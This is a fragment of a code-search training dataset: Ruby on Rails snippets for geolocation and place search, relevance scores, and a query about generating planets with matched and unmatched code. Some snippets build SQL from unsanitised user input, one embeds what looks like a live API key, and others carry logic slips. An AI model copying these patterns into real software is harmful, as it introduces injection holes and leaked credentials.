query.merge!({ key.to_sym.gte => value.to_i })\n\t\t\t when 'BLT-MIN'\n\t\t\t \tif value.to_i > 0 then\n\t\t\t \t\tquery.merge!({ 'BLT'.to_sym.gte => value.to_i })\n\t\t\t \tend\n\t\t\t when 'BLT-MAX'\n\t\t\t \tif value.to_i > 0 then\n\t\t\t \t\tquery.merge!({ 'BLT'.to_sym.lte => value.to_i })\n\t\t\t \tend\n\t\t\t when 'LP-MIN'\n\t\t\t \tif value.to_i > 0 then\n\t\t\t \t\tquery.merge!({ 'LP'.to_sym.gte => value.to_i })\n\t\t\t \tend\n\t\t\t when 'LP-MAX'\n\t\t\t \tif value.to_i > 0 then\n\t\t\t \t\tquery.merge!({ 'LP'.to_sym.lte => value.to_i })\n\t\t\t \tend\n\t\t\t when 'ZP'\n\t\t\t \tif value != \"\" then\n\t\t\t \t\tquery.merge!({ 'ZP'.to_sym => value })\n\t\t\t \tend\n\t\t\t when 'CIT', 'STATE', 'ZP'\n\t\t\t query.merge!({ key.to_sym => value })\n\t\t end\n\tend\n\t\t\n \t@listings = Listing.where( query ).paginate({\n\t\t :sort => :LP.desc,\n\t\t :per_page => 10, \n\t\t :page => params[:page],\n\t\t})\n \t\n \trender :template => 'find/search', :collection => @listings\n \t \t\n end",
"def explore\n @center = Geocoder.coordinates(params[:city])\n @trips = Trip.nearest_with_index(@center) \n end",
"def nearby\n # Check the parameters\n if params[:long].present? && params[:lat].present?\n # using the parameters and offset/limit\n nearby_positions = Position.near([params[:lat].to_f, params[:long].to_f], 30).limit(@limit).offset(@offset)\n respond_with nearby_positions, include: [:restaurants], status: :ok\n else\n render json: position.errors, status: :bad_request # just json in this example\n end\n end",
"def near max_meters=nil\n documents = self.class.near(@location, max_meters)\n self.class.to_places(documents)\n end",
"def nearby_stops\n \tstops = Stop.near([params[:latitude],params[:longitude]],10, :order => \"distance\").limit(6)\n google_results = UserLocation.search(params[:latitude],params[:longitude])\n geocoder_ca_results = UserLocation.geocoder_ca(params[:latitude],params[:longitude]).intersection\n user_location=UserLocation.new(\n :user_id => current_user.id,\n :longitude => params[:longitude],\n :latitude => params[:latitude],\n :address => google_results.address,\n :city => google_results.city,\n :neighborhood => google_results.neighborhood,\n :main_intersection => \"#{geocoder_ca_results[\"street1\"]} & #{geocoder_ca_results[\"street2\"]}\"\n )\n user_location.save\n if stops.empty?\n render json: stops, status: 422\n else\n \t render json: stops\n end\n end",
"def matches(name, latitude, longitude, category = nil)\n category_id = category.id if category\n \n # Want to append the distance and similarity rankings.\n matched_places = Hash[*(many.matches(name, latitude, longitude, category_id).map {|r| [r['id'], r]}).flatten]\n find_from_search(*matched_places.keys).map do |place|\n if place\n if matched_places[place.id]\n place.distance_in_meters = matched_places[place.id]['distance_in_meters'] \n place.name_similarity = matched_places[place.id]['name_similarity'] \n end\n place\n end\n end\n end",
"def near(coll, query)\n field = query.keys.first\n location = query.values.first\n @db[coll].find(field => { \"$near\" => location })\n end",
"def search\n dogpark = Dogpark.near(\n params[:postcode] + ', NSW Australia',\n params[:radius] || 10,\n units: :km\n )\n\n #if not radius not specified, params radius returns nil\n #||Because we have 5, if the radius is empty, it will default to the 5 because of the logic of the || \"or\" expression. \"or\" will always evaluate to the truthy thing.\n render json: dogpark.to_json\n end",
"def postal_code_search(_zip, _city, _country, or_search)\n unless or_search\n Rails.logger.debug \"\\t1) Determine longitude/latitude using exact search (AND)\" \n else\n Rails.logger.debug \"\\t\\t1.1) Determine longitude/latitude using matched search (OR)\"\n end\n \n geo_query = Geonames::PostalCodeSearchCriteria.new\n geo_query.place_name = [zip, city, correct(country)].compact.reject { |s| s.strip.empty? }.join(\" \")\n geo_query.max_rows = or_search ? '10' : '1'\n geo_query.is_or_operator = or_search\n \n results = Geonames::WebService.postal_code_search(geo_query)\n ensure_it_fits(results, _country)\n end",
"def search\n if params[:key] == AUTHORIZATION_TOKEN && params[:q] == \"discover\"\n @google_places = discover\n @places = PLACES.select do |place|\n (place[:coordinates][:latitude].between?(average_location - 0.01, average_location + 0.01))\n end\n elsif params[:key] == AUTHORIZATION_TOKEN && params[:q]\n params_hash = {\n q: params[:q],\n type: params[:type] || \"bar\"\n }\n @google_places = call(params_hash)\n @places = PLACES.select do |place|\n (place[:name].downcase.include? (params[:q].downcase)) || (place[:coordinates][:latitude].between?(average_location - 0.01, average_location + 0.01))\n end\n\n render_error(\"empty\") if @google_places.empty? && @places.empty?\n elsif params[:q]\n render_error\n else\n render_error(\"missing_params\")\n end\n end",
"def search_query(juris, place_type)\n rs = @db[:voting_places] \\\n .select_append(:voting_places__id.as(:place_id)) \\\n \\\n .join(:voting_locations, :id => :location_id) \\\n .select_append(:voting_locations__formatted.as(:location_formatted)) \\\n .select_append{ST_X(:voting_locations__geometry).as(:longitude)} \\\n .select_append{ST_Y(:voting_locations__geometry).as(:latitude)} \\\n \\\n .join(:voting_schedules, :id => :voting_places__schedule_id) \\\n .select_append(:voting_schedules__formatted.as(:schedule_formatted)) \\\n \\\n .filter(:voting_places__jurisdiction => juris.id.to_s) \\\n .filter(:voting_places__place_type => place_type)\n\n if @origin\n o = @origin\n md = @max_distance\n rs = rs \\\n .select_append{ST_Distance(geometry, MakePoint(o.lng, o.lat, SRID_LATLNG)).as(:dist)} \\\n .filter{dist <= md} \\\n .order(:dist.asc) \\\n end\n\n rs\n end",
"def _places(url_part:, query: nil, location: nil, radius: nil, keyword: nil, language: nil,\n min_price: 0, max_price: 4, name: nil, open_now: false, rank_by: nil, type: nil,\n page_token: nil)\n params = {'minprice' => min_price, 'maxprice' => max_price }\n\n if query\n params['query'] = query\n end\n\n if location\n params['location'] = Convert.to_latlng(location)\n end\n\n if radius\n params['radius'] = radius\n end\n\n if keyword\n params['keyword'] = keyword\n end\n\n if language\n params['language'] = language\n end\n\n if name\n params['name'] = Convert.join_array(' ', name)\n end\n\n if open_now\n params['opennow'] = 'true'\n end\n\n if rank_by\n params['rankby'] = rank_by\n end\n\n if type\n params['type'] = type\n end\n\n if page_token\n params['pagetoken'] = page_token\n end\n\n self.client.request(url: \"/maps/api/place/#{url_part}search/#{self.client.response_format}\", params: params)\n end",
"def find\n render json: format_places(closest(params[:latitude], params[:longitude]).take(3))\n end",
"def is_nearby?(user_lat, user_long, bus_lat, bus_long)\n # Max distance in degrees, approx 0.6 miles\n max_distance = 0.01\n\n difference_latitudes = user_lat - bus_lat.to_f\n difference_longitudes = user_long - bus_long.to_f\n\n distance = Math.sqrt(difference_latitudes ** 2 + difference_longitudes ** 2)\n\n distance <= max_distance\n end",
"def index\n if params[:search].present?\n if @locations = Location.near(params[:search], params[:radius], :order => :distance).any?\n @locations = Location.near(params[:search], params[:radius], :order => :distance)\n else\n @locations = Location.near('Chicago', 100, :order => :distance)\n end\n else\n @locations = Location.near('Chicago', 100, :order => :distance)\n end\n @fundings = Funding.ltm_fundings(365)\n @fundings_q1 = Funding.quarterly_fundings(Time.now().year, 'q1').for_city(params[:search])\n @fundings_q2 = Funding.quarterly_fundings(Time.now().year, 'q2').for_city(params[:search])\n @fundings_q3 = Funding.quarterly_fundings(Time.now().year-1, 'q3').for_city(params[:search])\n @fundings_q4 = Funding.quarterly_fundings(Time.now().year-1, 'q4').for_city(params[:search])\n @seed_funding = @fundings.for_funding_round('seed').for_city(params[:search])\n @angel_funding = @fundings.for_funding_round('angel').for_city(params[:search])\n @a_funding = @fundings.for_funding_round('a').for_city(params[:search])\n @b_funding = @fundings.for_funding_round('b').for_city(params[:search])\n @c_funding = @fundings.for_funding_round('c').for_city(params[:search])\n @d_funding = @fundings.for_funding_round('d').for_city(params[:search])\n @e_funding = @fundings.for_funding_round('e').for_city(params[:search])\n @f_funding = @fundings.for_funding_round('f').for_city(params[:search])\n @g_funding = @fundings.for_funding_round('g').for_city(params[:search])\n @venture_funding = @fundings.for_funding_round('venture_round').for_city(params[:search])\n @private_equity_funding = @fundings.for_funding_round('private_equity').for_city(params[:search])\n @debt_funding = @fundings.for_funding_round('debt_round').for_city(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @locations }\n end\n end",
"def call(params_hash)\n url = \"https://maps.googleapis.com/maps/api/place/textsearch/json?query=#{params_hash[:q]}&type=#{params_hash[:type]}&key=#{API_KEY}\"\n fetch(url)\n end",
"def locate(place)\n locations, = get :q => place\n return locations.first\n end",
"def search(query); end",
"def find_city(lat,lng)\n if Geocoder::Calculations.distance_between([lat,lng], [40.698390,-73.98843]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [40.76813,-73.96439]) < 20\n \"newyork\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76423,-122.47743]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [37.76912,-122.42593]) < 20\n \"sanfrancisco\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.85887,2.30965]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [48.86068,2.36389]) < 20\n \"paris\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [51.51,-0.13]) < 20\n \"london\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.57664,-46.69787]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [-23.55838,-46.64362]) < 20\n \"saopaulo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.64446,139.70695]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [35.70136,139.73991]) < 20\n \"tokyo\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.06901,-118.35904]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.07499,-118.28763]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [34.02663,-118.45998]) < 20\n \"losangeles\"\n elsif\n Geocoder::Calculations.distance_between([lat,lng], [50.07832,14.41619]) < 20\n \"prague\"\n else\n \"unknown\"\n end\n end",
"def is_nearby?(user_lat, user_long, bus_lat, bus_long)\n\n# max distance is about 0.6 miles away 0.01 degrees\n\nmax_distance = 0.01\n\ndifference_latitudes = user_lat - bus_lat.to_f\ndifference_longitudes = user_long - bus_long.to_f\n\ndistance = Math.sqrt(difference_latitudes ** 2 + difference_longitudes ** 2)\n\ndistance <= max_distance\n\nend",
"def search_people(searchterm,params={})\n @opensearch.search_people(searchterm,params) \n end",
"def text\n \tlat = params[:latitude]\n lng = params[:longitude]\n city_filter = current_user_city\n search_text = params[:search_text].to_s.downcase\n main_limit = 20\n if params[:search_type] && params[:search_type].to_i.eql?(2)\n\n stores = Store.without_outlets.group('stores.id').allowed_stores(city_filter)\n .where(['lower(stores.name) like ?', \"%#{search_text}%\"])\n .select('stores.id, stores.name')\n .reorder('stores.name').limit(main_limit)\n\n outlet_stores = Store.with_outlets.group('stores.id').allowed_stores(city_filter)\n .where(['lower(stores.name) like ?', \"%#{search_text}%\"])\n .select('stores.id, stores.name')\n .reorder('stores.name').limit(main_limit)\n outlets = Outlet.outlet_status.allowed_outlets(city_filter)\n .where(['lower(outlets.locality) like ?', \"%#{search_text}%\"])\n .select('outlets.id, outlets.locality, outlets.store_id')\n .reorder('outlets.locality').limit(main_limit)\n \n results = []\n results.concat stores.map { |store| text_response(2, store, store.name) }\n results.concat outlet_stores.map { |store| text_response(4, store, store.local_name ) }\n results.concat outlets.map { |outlet| text_response(5, outlet, outlet.local_name) }\n else\n # malls = Mall.allowed_malls.where(['lower(malls.name) like ?', \"%#{search_text}%\"])\n stores = Store.without_outlets.group('stores.id').allowed_stores(city_filter)\n .where(['lower(stores.name) like ?', \"%#{search_text}%\"])\n .select('stores.id, stores.name')\n .reorder('stores.name').limit(main_limit)\n\n deals = Deal.without_outlets.group('deals.id').click_notify_allowed_deals(city_filter, [Deal::DealType[:rd], Deal::DealType[:ed], Deal::DealType[:pd]])\n .where(['lower(deals.main_line) like ?', \"%#{search_text}%\"])\n .select('deals.id, deals.main_line')\n .reorder('deals.main_line').limit(main_limit)\n outlet_stores = Store.with_outlets.group('stores.id').allowed_stores(city_filter)\n .where(['lower(stores.name) like ?', \"%#{search_text}%\"])\n .select('stores.id, stores.name')\n .reorder('stores.name').limit(main_limit)\n outlets = Outlet.outlet_status.allowed_outlets(city_filter)\n .where(['lower(outlets.locality) like ?', \"%#{search_text}%\"])\n .select('outlets.id, outlets.locality, outlets.store_id')\n .reorder('outlets.locality').limit(main_limit)\n outlet_deals = Deal.with_outlets.group('deals.id').click_notify_allowed_deals(city_filter, [Deal::DealType[:rd], Deal::DealType[:ed], Deal::DealType[:pd]])\n .where(['lower(deals.main_line) like ?', \"%#{search_text}%\"])\n .select('deals.id, deals.main_line')\n .reorder('deals.main_line').limit(main_limit)\n lmd_deals = Deal.without_outlets.click_notify_allowed_deals(city_filter, Deal::DealType[:lmd]).in_last_minute_deal_time\n .where(['lower(deals.main_line) like ?', \"%#{search_text}%\"])\n .select('deals.id, deals.main_line, deals.last_end_time')\n .reorder('deals.main_line').limit(main_limit)\n lmd_outlet_deals = Deal.with_outlets.group('deals.id').click_notify_allowed_deals(city_filter, Deal::DealType[:lmd]).in_last_minute_deal_time\n .where(['lower(deals.main_line) like ?', \"%#{search_text}%\"])\n .select('deals.id, deals.main_line, deals.last_end_time')\n .reorder('deals.main_line').limit(main_limit)\n\n results = []\n # results.concat malls.map { |mall| text_response(1, mall, mall.name) }\n results.concat stores.map { |store| text_response(2, store, store.name) }\n results.concat deals.map { |deal| text_response(3, deal, deal.main_line) }\n results.concat outlet_stores.map { |store| text_response(4, store, store.local_name ) }\n results.concat outlets.map { |outlet| text_response(5, outlet, outlet.local_name) }\n results.concat(outlet_deals.map do |deal|\n deal.outlets.map { |outlet| text_response(6, deal, deal.main_line, { outlet_id: outlet.id }) }\n end.flatten)\n results.concat lmd_deals.map { |deal| text_response(7, deal, deal.main_line, { time_difference: deal.lmd_time_difference.strftime(\"%H:%M\"), deal_category_id: deal.try(:deal_category_ids).try(:first) }) }\n results.concat(lmd_outlet_deals.map do |deal|\n deal.outlets.map { |outlet| text_response(8, deal, deal.main_line, { outlet_id: outlet.id, time_difference: deal.lmd_time_difference.strftime(\"%H:%M\"), deal_category_id: deal.try(:deal_category_ids).try(:first) }) }\n end.flatten)\n end\n render_success(results: results.compact.sort_by {|h| h[:text] }.first(main_limit))\n end",
"def nearof\n @coordenadas = [params[:longitud].to_i,params[:latitud].to_i]\n distance = 100 #km\n\n if @coordenadas\n @nearest = Rails.cache.fetch(\"reports/near/#{params[:longitud].to_i},#{params[:latitud].to_i}\", :expires_in => 8.hours) do\n Report.where(:coord => { \"$nearSphere\" => @coordenadas , \"$maxDistance\" => (distance.fdiv(6371)) }).and(:status => 1).without(:email,:description,:links,:source,:status,:reported_at,:shape,:duration).limit(50).entries\n end\n end\n\n respond_to do |format|\n format.html # nearof.html.erb\n format.json { render json: @nearest }\n end\n end",
"def places_nearby_without_title_photos radius=15\n Place.find_by_radius(centerLatitude,centerLongitude,radius).where(\"places.id != ?\", id).where(\"places.name_status != 'unnamed' and places.id not in (select distinct photos.place_id from photos where photos.place_id is not null)\").order(\"places.type != 'Mountain', power(places.latitude - #{centerLatitude.to_f},2)+power(places.longitude - #{centerLongitude.to_f},2)\")\n end",
"def ice_cream_places(location, radius)\n places_url = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/place/nearbysearch/json\",\n :query_values => {:key => \"AIzaSyC3od3aEKzgeEb8H3_6b29HX3qHXWIB248\",\n :location => location,\n :radius => radius,\n :sensor => false,\n :keyword => \"ice cream\"}\n ).to_s\n\n response = JSON.parse(RestClient.get(places_url))[\"results\"]\n all_locations = {}\n response.each do |place|\n name = place[\"name\"]\n location = place[\"geometry\"][\"location\"]\n location_string = \"#{location[\"lat\"]},#{location[\"lng\"]}\"\n all_locations[name] = location_string\n end\n all_locations\nend",
"def parse_search(q)\n # TODO continue\n end",
"def tweets_near lat, long, radius, count\n\n\t\tsearch_params = { geocode: \"#{lat.to_s},#{long.to_s},#{radius.to_s}mi\", count: count.to_i, result_type: \"recent\" }\n\t\tsearch_result = Twitter.search(\"\", search_params)\n\n\t\tsearch_result.statuses\n\n\tend",
"def perform_search\n terms = { vehicle_year: 2006,\n vehicle_brand: \"Yamaha\",\n vehicle_model: \"Yz250\",\n vehicle_submodel: \"-- Base\",\n category_name: \"Complete Wheel Assembly\" }\n perform_search(terms)\n end",
"def locate(address)\n location = (address.is_a?(String) ? address : location_from_params(address).to_s(:country => false))\n # yahoo pukes on line breaks\n get :location => location.gsub(\"\\n\", ', ')\n end",
"def locate(address)\n location = (address.is_a?(String) ? address : location_from_params(address).to_s(:country => false))\n # yahoo pukes on line breaks\n get :location => location.gsub(\"\\n\", ', ')\n end",
"def grab_nearest_by_location(distance, loc)\n\n end",
"def search\n if params[:geocode].present?\n lat = params[:geocode][:latitude]\n lng = params[:geocode][:longitude]\n radius = params[:radius]? params[:radius] : @_default_search_distanse\n skill_category = params[:skill_category]\n if skill_category.present?\n scope1 = Service.where(skill_category_id: skill_category).pluck(:supplier_id)\n scope2 = Supplier.near([lat, lng], radius, {order: \"\", units: :km}).pluck(:id)\n @suppliers = Supplier.where(isSupplier: true).find(scope1 & scope2)\n else\n @suppliers = Supplier.near([lat, lng], radius, units: :km).where(isSupplier: true)\n end\n elsif params[:skill_category].present?\n @suppliers = Supplier.find(Service.where(skill_category_id: params[:skill_category], isSupplier: true).pluck(:supplier_id));\n else\n @suppliers = Supplier.where(isSupplier: true)\n end\n render :action => 'search_result.json'\n end",
"def subject_place_filter(solr_parameters, user_parameters)\n # Find index of the facet geographical_coverage_sim\n geographical_idx = nil\n solr_parameters[:fq].each.with_index do |f_elem, idx|\n geographical_idx = idx if f_elem.include?('geographical_coverage')\n end\n\n unless geographical_idx.nil?\n geo_string = solr_parameters[:fq][geographical_idx]\n coordinates = DRI::Metadata::Transformations.get_spatial_coordinates(geo_string)\n\n if coordinates.present?\n solr_parameters[:fq][geographical_idx] = \"geospatial:\\\"Intersects(#{coordinates})\\\"\"\n end\n end\n end",
"def getEntitySearchWhoByboundingbox( who, latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['who'] = who\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/who/byboundingbox\",params)\n end",
"def is_nearby?(user_lat, user_long, bus_lat, bus_long)\n # Define nearby as max distance in degrees\n max_distance = 0.01\n # Compare user location and bus location\n difference_latitudes = user_lat - bus_lat.to_f\n difference_longitudes = user_long - bus_long.to_f\n distance = Math.sqrt(difference_latitudes ** 2 + difference_longitudes ** 2)\n # If it is nearby, return true\n distance <= max_distance\n end",
"def near_coordinates\n latitude = params[:latitude] || 37.7749295\n longitude = params[:longitude] || -122.4194155\n distance = params[:distance] || 10\n limit = 1000 || params[:limit]\n offset = 0 || params[:offset]\n approved = true || params[:approved]\n @trips = Trip.where(:approved => approved).near([latitude,longitude],distance).limit(limit).offset(offset)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end",
"def is_nearby?(user_lat, user_long, bus_lat, bus_long)\n # define nearby as a max distance in degrees\n max_distance = 0.01\n # compare user location and bus location\n # difference in latitudes\n difference_latitudes = user_lat - bus_lat.to_f\n difference_longitudes = user_long - bus_long.to_f\n distance = Math.sqrt(difference_latitudes ** 2 + difference_longitudes ** 2)\n # if it's nearby return true\n distance <= max_distance\n end",
"def search_buddies_by_location\n buddy_data = []\n if latitude.blank? || longitude.blank?\n location = [requested_user.current_latitude, requested_user.current_longitude] \n else\n location = [latitude.to_f, longitude.to_f]\n end\n if location_lock == \"true\"\n if search.blank?\n users = User.page(page).per(10).joins(:feeds).includes(:feeds).within(proximity, :origin => location)\n else\n users = User.page(page).per(10).joins(:feeds).includes(:feeds).where(\"name like '%#{search}%'\").within(proximity, :origin => location)\n end\n else\n if search.blank?\n render :status=>401,\n :json=>{:Message=>\"The search cannot be blank for universal search.\",\n :Response => \"Fail\",\n :Data => nil} \n end\n users = User.page(page).per(10).joins(:feeds).includes(:feeds).where(\"name like '%#{search}%'\") unless search.blank?\n end\n users.collect {|user| buddy_data.push(Hashie::Mash.new(:User => user, :Feeds => user.feeds))}\n render :status=>200,\n :json=>{:Message=>\"Here are the buddies near you!\",\n :Response => \"Success\",\n :Data => buddy_data} \n end",
"def execute(m, query, location)\n request = ::Yelp::V2::Search::Request::Location.new({\n :term => query,\n :address => location,\n :consumer_key => config['consumer_key'],\n :consumer_secret => config['consumer_secret'],\n :token => config['token'],\n :token_secret => config['token_secret']\n })\n\n response = @client.search(request)\n\n m.reply(\"Oops, Yelp didn't understand that location!\", true) and return if response['error']\n m.reply(\"Sorry, Yelp doesn't have any businesses matching \\\"#{query}\\\" near \\\"#{location}\\\"!\") and return if response['businesses'].empty?\n\n business = response['businesses'].sample\n name = business['name']\n rating = business['rating']\n reviews = business['review_count']\n url = business['url']\n address = business['location']['address'].first\n\n m.reply \"You should try #{name} at #{address}! It's rated #{rating} stars with #{reviews} reviews: #{url}\", true\n end",
"def index\n\t\tif params[:search].present?\n\t\t\t@locations = Location.near(params[:search], 10, :order => distance)\n\t\telse\n\t\t\t@locations = Location.all\n\t\tend\n\tend",
"def containing(place_id, start = 0, limit = 25)\n place_id = clean_for_search(as_id(place_id))\n results = PublicEarth::Db::Collection.search_for(\"place_id:#{place_id}\", :qt => 'standard', \n :start => start && start.to_i, :rows => limit && limit.to_i > 0 && limit.to_i || 25)\n results.models\n end"
] |
[
"0.7731121",
"0.7265968",
"0.70547837",
"0.6939724",
"0.6821083",
"0.68054426",
"0.6784429",
"0.67666364",
"0.67080265",
"0.6671413",
"0.6649131",
"0.66234326",
"0.6619261",
"0.65164155",
"0.6490457",
"0.64894193",
"0.64796555",
"0.64481276",
"0.6427437",
"0.64252883",
"0.63718855",
"0.6287625",
"0.62622344",
"0.6259058",
"0.62482387",
"0.6210346",
"0.6202737",
"0.6191981",
"0.61537826",
"0.6150966",
"0.61466974",
"0.61256766",
"0.61205465",
"0.6096424",
"0.60955447",
"0.60756916",
"0.6064407",
"0.60631335",
"0.60523945",
"0.60438436",
"0.60380584",
"0.6032096",
"0.6019667",
"0.6017693",
"0.600938",
"0.5985491",
"0.5975016",
"0.5973677",
"0.59721714",
"0.59590507",
"0.59518147",
"0.5927103",
"0.5912438",
"0.5900595",
"0.5898854",
"0.5898486",
"0.5894514",
"0.58885586",
"0.5887483",
"0.5873352",
"0.58537865",
"0.5834561",
"0.5830114",
"0.5824403",
"0.5809784",
"0.57992357",
"0.578821",
"0.57767016",
"0.57707024",
"0.5770494",
"0.5757129",
"0.57517105",
"0.57451475",
"0.5742727",
"0.574195",
"0.5738949",
"0.57371694",
"0.57351077",
"0.57281184",
"0.57182205",
"0.5711431",
"0.57109714",
"0.570939",
"0.5709063",
"0.57090557",
"0.5702611",
"0.56968206",
"0.56903",
"0.56903",
"0.56818825",
"0.5670537",
"0.56564826",
"0.5640887",
"0.5635015",
"0.56343114",
"0.5633218",
"0.56309235",
"0.5619162",
"0.5610133",
"0.5607179"
] |
0.88026094
|
0
|
Helper method to generate planets
|
def gen_planet(class_map)
class_map["colour"] = PLANET_COLOURS[class_map["type"].downcase]
text = "//#{class_map["package"]} class: #{class_map["name"]}
#{class_map["indexed_name"]}.setValues({
name: \"#{class_map["indexed_name"]}\",
geometry: new THREE.SphereGeometry(#{class_map["radius"]+0.01}, 10, 10),
material: new THREE.MeshLambertMaterial({emissive: 0x888888, color: #{class_map["colour"]}, map: planet_texture}),
origin: #{class_map["package"]},
orbitradx: #{(Random.rand(2) == 0)? "" : "-"}#{class_map["orbit"]},
orbitrady: #{(Random.rand(2) == 0)? "" : "-"}#{class_map["orbit"]},
#{(Random.rand(2) == 0)? "ysin: false" : "xsin:false"},
rotx: 0.01,
roty: 0.01,
rotz: 0.01,
tfactor: #{1 + Random.rand}});
celestials[celestials.length] = #{class_map["indexed_name"]};\n\n"
return text
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def planets()\n pseed = @seed.clone\n Enumerator.new do |yielder|\n loop do\n name, new_seed = planet_name(pseed)\n yielder.yield name\n break if new_seed==@seed\n pseed = new_seed\n end\n end\n end",
"def planets; end",
"def create_planet(name, mass, year_length, diameter, number_of_moons, distance_from_sun)\n return Planet.new(name, mass, year_length, diameter, number_of_moons, distance_from_sun)\nend",
"def list_planets\n x = \"Planets orbitting #{@star_name}\\n\"\n z = \"\"\n z = z + x\n l = 1\n while l <= @planets.length\n y = \"#{l}. #{@planets[l-1].name}\\n\"\n z += y\n l += 1\n end\n return z\n end",
"def add_planets\n get_list_of_planets.each {|planet| Planet.new(planet)} \n end",
"def list_planets\n planet_list = \"Planets orbiting #{ @star_name }\\n\"\n @planets.length.times do |add|\n planet_list += \"#{ add + 1 }. #{ @planets[add].name }\\n\"\n end\n\n return planet_list\n end",
"def list_planets\n list_planets = \"Planets orbiting #{star_name} \\n\"\n\n @planets.each_with_index do |planet, index|\n list_planets = \"#{list_planets}\" + \"#{index + 1}. #{planet.name}\\n\"\n end\n\n return list_planets\n end",
"def add_initial_planets(solar_system)\n earth = Planet.new('Earth', 'blue-green', 5.972e24, 1.496e16, 'Only planet known to support life')\n cyborg = Planet.new('Cyborg', 'neon green', 10.993e24, 2.496e90, 'Humans have not yet discovered this planet' )\n mars = Planet.new('Mars', 'red', 9.972e24, 2.496e16, 'This planet was named after the Roman god of war')\n solar_system.add_planet(earth)\n solar_system.add_planet(cyborg)\n solar_system.add_planet(mars)\nend",
"def list_planets\n planet_list = ''\n i = 0\n @planets.each do |planet|\n i += 1\n planet_list << \"#{i}. #{planet.name.capitalize}\\n\"\n end\n planet_list\n end",
"def print_planets\n puts \"\\n#{@name} has #{@planets.length} planets and was formed #{@formation_year} years ago.\"\n puts \"\\nHere are the planets in the #{@name} solar system:\\n\\n\"\n @planets.each do |planet|\n puts \"#{planet.print_planet_data}\"\n end\n puts \"\\n\"\n end",
"def pool_to_planet(pool)\n # Create a variable to store all new Planet s\n library_of_planets = []\n pool.each do |planet_info|\n library_of_planets << planet = Planet.new(planet_info[:name], planet_info[:diameter], planet_info[:gravity],\n planet_info[:year_length], planet_info[:distance_from_the_sun])\n end\n return library_of_planets\n end",
"def list_planets\n planet_string = \"Planets orbiting #{@star_name} \\n\"\n @planets.each_with_index do |planet, index|\n planet_string += \"#{index+1}. #{planet.name} \\n\"\n end\n return planet_string\n end",
"def list_planets\n puts \"Planets orbiting #{star_name}:\"\n\n @planets.each_with_index do |planet, i|\n @list_of_planets << \"#{i+1}. #{planet.name}\"\n end\n return @list_of_planets\n end",
"def add_planets(planets)\n planets.each do |planet|\n @planets.push(planet)\n end\n end",
"def list_planets\n i = 1\n planets_list = \"\"\n @planets.each do |planet|\n planets_list += \"#{i}. #{planet.name}\\n\"\n i += 1\n end\n return \"Planets orbiting #{@star_name}:\\n#{planets_list}\"\n end",
"def create_planet(array_of_planets)\n puts \"Tell us some information about your planet.\"\n print \"Name: \"\n name = gets.chomp\n print \"Length of Year: \"\n year_length = gets.chomp\n print \"Distance from the Sun: \"\n distance_from_sun = gets.chomp\n puts \"We have found that most planets known to humankind share certain characteristics. If the given information is true of your planet, type YES. If its not, give us the correct information for your planet.\"\n puts \"Language: Meowish\"\n language = gets.chomp\n if language == \"YES\"\n language = \"Meowish\"\n else\n language = language\n end\n puts \"Inhabitants: Cats\"\n inhabitants = gets.chomp\n if inhabitants == \"YES\"\n inhabitants = \"Cats\"\n else\n inhabitants = inhabitants\n end\n puts \"Primary Export: Catnip\"\n primary_export = gets.chomp\n if primary_export == \"YES\"\n primary_export = \"Catnip\"\n else\n primary_export = primary_export\n end\n array_of_planets << Planet.new(name, year_length, distance_from_sun, language: language, inhabitants: inhabitants, primary_export: primary_export)\nend",
"def list_planets\n list = \"Planets orbiting #{@star_name}:\\n\"\n @planets.each do |planet|\n list += \"* #{planet.name}\\n\"\n end\n list += \"\\n\"\n return list\n end",
"def get_list_of_planets\n planets = get_space_bodies.select{|body| body[\"isPlanet\"] == true}\n end",
"def list_of_planets\n list = []\n @planets.length.times do |index|\n list << \"#{index+1}. #{@planets[index].name}\"\n end\n return list\n end",
"def list_planets\n planet_list = \"Planets orbiting #{@star_name}:\"\n @planets.each_with_index do |planet, index|\n planet_list += \"\\n#{index + 1}. #{planet.name}\"\n end\n return planet_list\n end",
"def list_planets\n counter = 0\n list = \"\"\n @planets.each do |planet|\n counter += 1\n list += \"#{counter}. #{planet.name.each_first_letters}\\n\"\n end\n\n list += \"#{counter + 1}. **CREATE NEW PLANET**\"\n return list\n end",
"def planet_list\n return @planets\n end",
"def list_planets()\n\t\tplanets_list = @planets.each_with_index.map {|planet,index|\n\t\t\t\"#{index + 1}. #{planet.name}\"}\n\t\tplanets_list.unshift(\"Planets orbiting #{@star_name}:\\n\").to_s\n\t\t\n\t\treturn planets_list \n\tend",
"def add_planet\n planet = Planet.new(get_planet_name, get_planet_distance, get_planet_rotation, get_planet_moons)\n return planet\nend",
"def list_planets\n str = \"Planets orbiting #{@star_name}:\\n\"\n count = 0\n @planets.each do |planet|\n count += 1\n str += \"#{count.to_s}. #{planet.name}\\n\"\n end\n return str\n end",
